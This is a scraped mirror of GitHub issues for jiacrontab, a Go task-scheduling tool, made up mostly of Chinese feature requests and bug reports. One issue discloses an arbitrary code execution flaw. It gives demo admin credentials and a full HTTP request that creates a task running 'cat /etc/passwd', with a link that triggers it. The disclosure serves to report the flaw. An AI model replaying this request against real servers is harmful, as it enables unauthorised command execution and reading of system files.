Coder Social home page Coder Social logo

iwannay / jiacrontab Goto Github PK

View Code? Open in Web Editor NEW
1.3K 1.3K 262.0 53.28 MB

简单可信赖的任务管理工具

License: Apache License 2.0

Go 94.68% Makefile 1.16% Shell 3.78% Dockerfile 0.39%
crontab daemon go golang jiacrontab job job-scheduler scheduler

jiacrontab's People

Contributors

cexpert avatar fengxq2014 avatar iwannay avatar lithua avatar newszeng avatar testwill avatar wangzhiloong avatar wxy545812093 avatar wzjg520 avatar wzjg521 avatar zhenyangze avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

jiacrontab's Issues

建议增加一个功能

在crontab中,类似于cd /data/home/CheckServerAlive && python dial.py 这样的脚本命令,是无法在jiacrontab进行配置的。可否添加该功能的支持?

导入/导出 job

公司最近使用,发现挺不错;但有的时候需要部署多套,每次都需要一个一个增加。
建议:
1、提供导入/导出功能
2、批量增加

无任务状态下,依然会有频繁的数据写入

虽然都很微弱到可以忽略不计, 但是作为24小时运行的服务器,还是会比较在意频繁写入对SSD寿命的影响以及在大型密集计算时这样的文件写入对磁盘IO时间以及CPU的影响.

在 Proxmox 的仪表盘中观察到是每1分钟都有固定的磁盘IO波动.
通过 inotifywait -rmq /root/jiacrontab/ -e modify 粗略观察到如下被修改的文件

/root/jiacrontab/client/.data/ MODIFY .swap
/root/jiacrontab/client/.data/ MODIFY .swap
/root/jiacrontab/server/.data/ MODIFY .swap
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db-journal
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db-journal
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db-journal
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db-journal
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db-journal
/root/jiacrontab/server/data/ MODIFY jiacrontab_server.db

是否能添加L指令,每月的最后一天

最近执行一个脚本,需要用到最后一天的命令,
发现好像不能支持L模式,
在crontab中是可以的,
如:0 0 L * * 每月的最后一天。
当然如果方便的话,建议把crontab的其他的一些命令也加入,
其他的一些命令

“/”:为特别单位,表示为“每”如“0/15”表示每隔15分钟执行一次,“0”表示为从“0”分开始,	“3/20”表示表示每隔20分钟执行一次,“3”表示从第3分钟开始执行

“?”:表示每月的某一天,或第周的某一天

“L”:用于每月,或每周,表示为每月的最后一天,或每个月的最后星期几如“6L”表示“每月的最后一个星期五”

“W”:表示为最近工作日,如“15W”放在每月(day-of-month)字段上表示为“到本月15日最近的工作日”

“#”:是用来指定“的”每月第n个工作日,例 在每周(day-of-week)这个字段中内容为"6#3" or	"FRI#3" 则表示“每月第三个星期五”

分布式任务

不知道是否支持以下:
背景:
两台web服务器;脚本只能由其中一台运行;不能两台都运行;但是两台都得配置;(防单点)
期望:
随机选择一台执行;另外一台挂掉以后,它会选择正常的那台执行;

定时任务中一些特殊字符无法使用

比如 echo date +%Y%m%d >>/opt/1

_20181112141850

_20181112141633

_20181112141747

其中`符号和>>都不能使用

改进建议:

  1. go代码exec.Command("/bin/bash", "-c", "echo echo date +%Y%m%d >>/opt/1").Run()
  2. 建议增加一些全局变量,比如自定义重定向文件、获取当前时间等

scripts don't support chinese

1.脚本名称不支持中午和特殊符号啊
2.机器多的话没法寻找,希望有折叠、分组功能
3.邮件发送不通

是否考虑增加,秒级计划任务,否则和系统cron 区别不大

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

架构过于简单了,初步看来,是没有存储或依赖文件存储的

原生的rpc太原生了。
没看到存储结构,历史操作记录如何存储的?
如果rpc通信失败怎么办,client是否直接脱离server的控制了?

感觉思路应该不错,实现过于草率,生产环境慎用。

初步看源码的结论,希望作者能整理出架构图和说明文档

如何添加节点

在演示地址还有自己部署的页面上, 都没有找到添加节点的按钮啊?

记录执行记录有bug

当日志输出只有一行的时候系统的后台没有记录日志代码如下:

这个是没有记录执行日志的

这个是有执行日志的 要在php脚本里增加换行符,才会正常显示日志执行记录

执行比较长时间的任务时,任务没有执行完就结束了

Describe the bug
根据日志观察,需要比较长执行时间的任务(几分钟以上),似乎执行到一半会直接死掉,具体现象有:1)去主机上ps无法找到进程;2)jiacrontab_admin 控制台上显示执行成功,但会显示有1个进程,运行时间显示 0s;3)到了下个执行时间依然会执行,但始终是同样的结果。任务有配超时时间的(没有运行到超时时间),也有没配超时时间的,都没有设置超时处理,只允许一个进程执行,也没有收到任何报错处理。

是需要做什么配置吗?谢谢~

Jiacrontab 1.4.5 arbitrary code execution vulnerability

Test in the demo: http://jiacrontab.iwannay.cn/
User: admin Password: 123456

1.Log in

2.Add task
test1
Modify the values of command and args, Read the passwd file.

command=cat&args=/etc/passwd

POST https://jiacrontab.iwannay.cn/crontab/task/edit?addr=localhost%3a20001 HTTP/1.1
Host: jiacrontab.iwannay.cn
Connection: keep-alive
Content-Length: 192
Cache-Control: max-age=0
Origin: https://jiacrontab.iwannay.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://jiacrontab.iwannay.cn/crontab/task/edit?addr=localhost%3a20001
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,zh-TW;q=0.7
Cookie: access_token=

taskId=0&taskName=test&command=cat&args=/etc/passwd&execType=0&timeout=0&optimeout=kill&mailTo=jiacontab%40yopmail.com&apiTo=&maxConcurrent=1&minute=*&hour=*&day=*&month=*&weekday=*&sync=false

3. Successfully added and run this task
cve2
https://jiacrontab.iwannay.cn/crontab/task/quickStart?taskId=25&addr=localhost:20001

4. Get echo
cve3

建议延长Http请求超时时间

目前平台上设置了HTTP请求的300s超时,但对于一些长时间执行的操作(10min或更久),就会提示失败(但也许操作最后是成功执行的),希望可以加上Curl自定义超时时间的设置

一些linux常用命令不支持吗?

运行这个也会报错 sudo ps -ef|grep python |grep -E 'timing_sync_setting_files.py' |awk '{print "kill -9 "$2}' |sh

error: unsupported SysV option

Usage:

ps [options]

Try 'ps --help <simple|list|output|threads|misc|all>'

or 'ps --help <s|l|o|t|m|a>'

for additional help text.

For more details see ps(1).

[192.168.15.103:20003 kill timing_sync_setting_files.py] exit status 1

支持docker部署和方向代理吗

Describe the bug
是否支持容器化和反向代理部署

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

运行列表中增加一列备注

6

期望再ip列表里,新增一列备注,或者自动生成主机hosts,方便区别机器,因为阿里云专有网络,ip内网地址很接近,用户体验度降低

一点建议 和bug

首先非常感谢作者的辛勤付出,以下个人愚见,希望有时间瞅瞅

建议

① 希望能展示 脚本执行的次数
② server配置邮件时,希望增加协议自定义(如SSL/TLS),企业邮箱基本都是加密服务,而且阿里云25端口忒麻烦
③增加 已添加的 crontab配置的导入导出备份/恢复
④批量模式下,可以按 状态排序,如果计划任务比较多,状态 开启和关闭的就会显示的比较乱
⑤界面增加任务执行成功或者失败的标示
⑥日志写在文件里终究不太好,建议使用mongodb

bug

① 添加新任务时选择取消 ,无任何反应,取消按钮不生效
② 貌似脚本不支持管道啊(如 ps -ef|grep nginx) 之类的,server.ini设置command 支持ps后也不行

疑惑

① 已编译的包貌似在macos下无法运行,提示 ./server: ./server: cannot execute binary file

GLIBC 2.14的依赖问题

你好,此版本依赖GLIBC 2.14,现在我们大部分环境还都是GLIBC 2.12,这样适配性是不是很不方便,有什么好的解决方法么

release 里能否提供macos 版本

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

添加任务提交后没有保存WorkUser 字段

添加任务提交后没有保存WorkUser 字段
提交保存表单部分字段

retryNum: 0
workDir: ""
workEnv: []
workUser: "www"

保存逻辑
https://github.com/iwannay/jiacrontab/blob/master/jiacrontab_admin/daemon.go

	daemonJob = models.DaemonJob{
		Name:            reqBody.Name,
		GroupID:         ctx.claims.GroupID,
		ErrorMailNotify: reqBody.ErrorMailNotify,
		ErrorAPINotify:  reqBody.ErrorAPINotify,
		MailTo:          reqBody.MailTo,
		APITo:           reqBody.APITo,
		UpdatedUserID:   ctx.claims.UserID,
		UpdatedUsername: ctx.claims.Username,
		Command:         reqBody.Command,
		WorkDir:         reqBody.WorkDir,
		WorkEnv:         reqBody.WorkEnv,
		Code:            reqBody.Code,
		RetryNum:        reqBody.RetryNum,
		FailRestart:     reqBody.FailRestart,
		Status:          models.StatusJobUnaudited,
	}

想问下如何在window 10下编译?

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

发现脚本超时的强杀功能不管用

Describe the bug
A clear and concise description of what the bug is.
发现脚本超时的强杀功能不管用,并且这个功能好像无法勾选,勾选上然后保存,之后再打开发现还是没有勾选的状态。
To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

请问后期还考虑更新该项目吗?

  • 在开源界寻找了很久,这个项目真是一股清流,简单直接可用;
  • 目前公司正在寻找crontab分布式开源管理方案,这个方案比较不错,希望继续更新下去,同时也非常感谢作者的付出。

实用需求提交

新增任务中断,可供用户选择,失败重跑次数选项:次数 0和1选项;

jobx与Saturn,xxl-job 等分布式任务调度平台都有这个功能,比较实用,所以建议作者加上;
5

第二天的日志打到了前一天的日期文件下,手动执行任务脚本后日志路径才正常

Describe the bug
A clear and concise description of what the bug is.

To Reproduce
Steps to reproduce the behavior:

  1. Go to '...'
  2. Click on '....'
  3. Scroll down to '....'
  4. See error

Expected behavior
A clear and concise description of what you expected to happen.

Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

  • OS: [e.g. iOS]
  • Browser [e.g. chrome, safari]
  • Version [e.g. 22]

Smartphone (please complete the following information):

  • Device: [e.g. iPhone6]
  • OS: [e.g. iOS8.1]
  • Browser [e.g. stock browser, safari]
  • Version [e.g. 22]

Additional context
Add any other context about the problem here.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.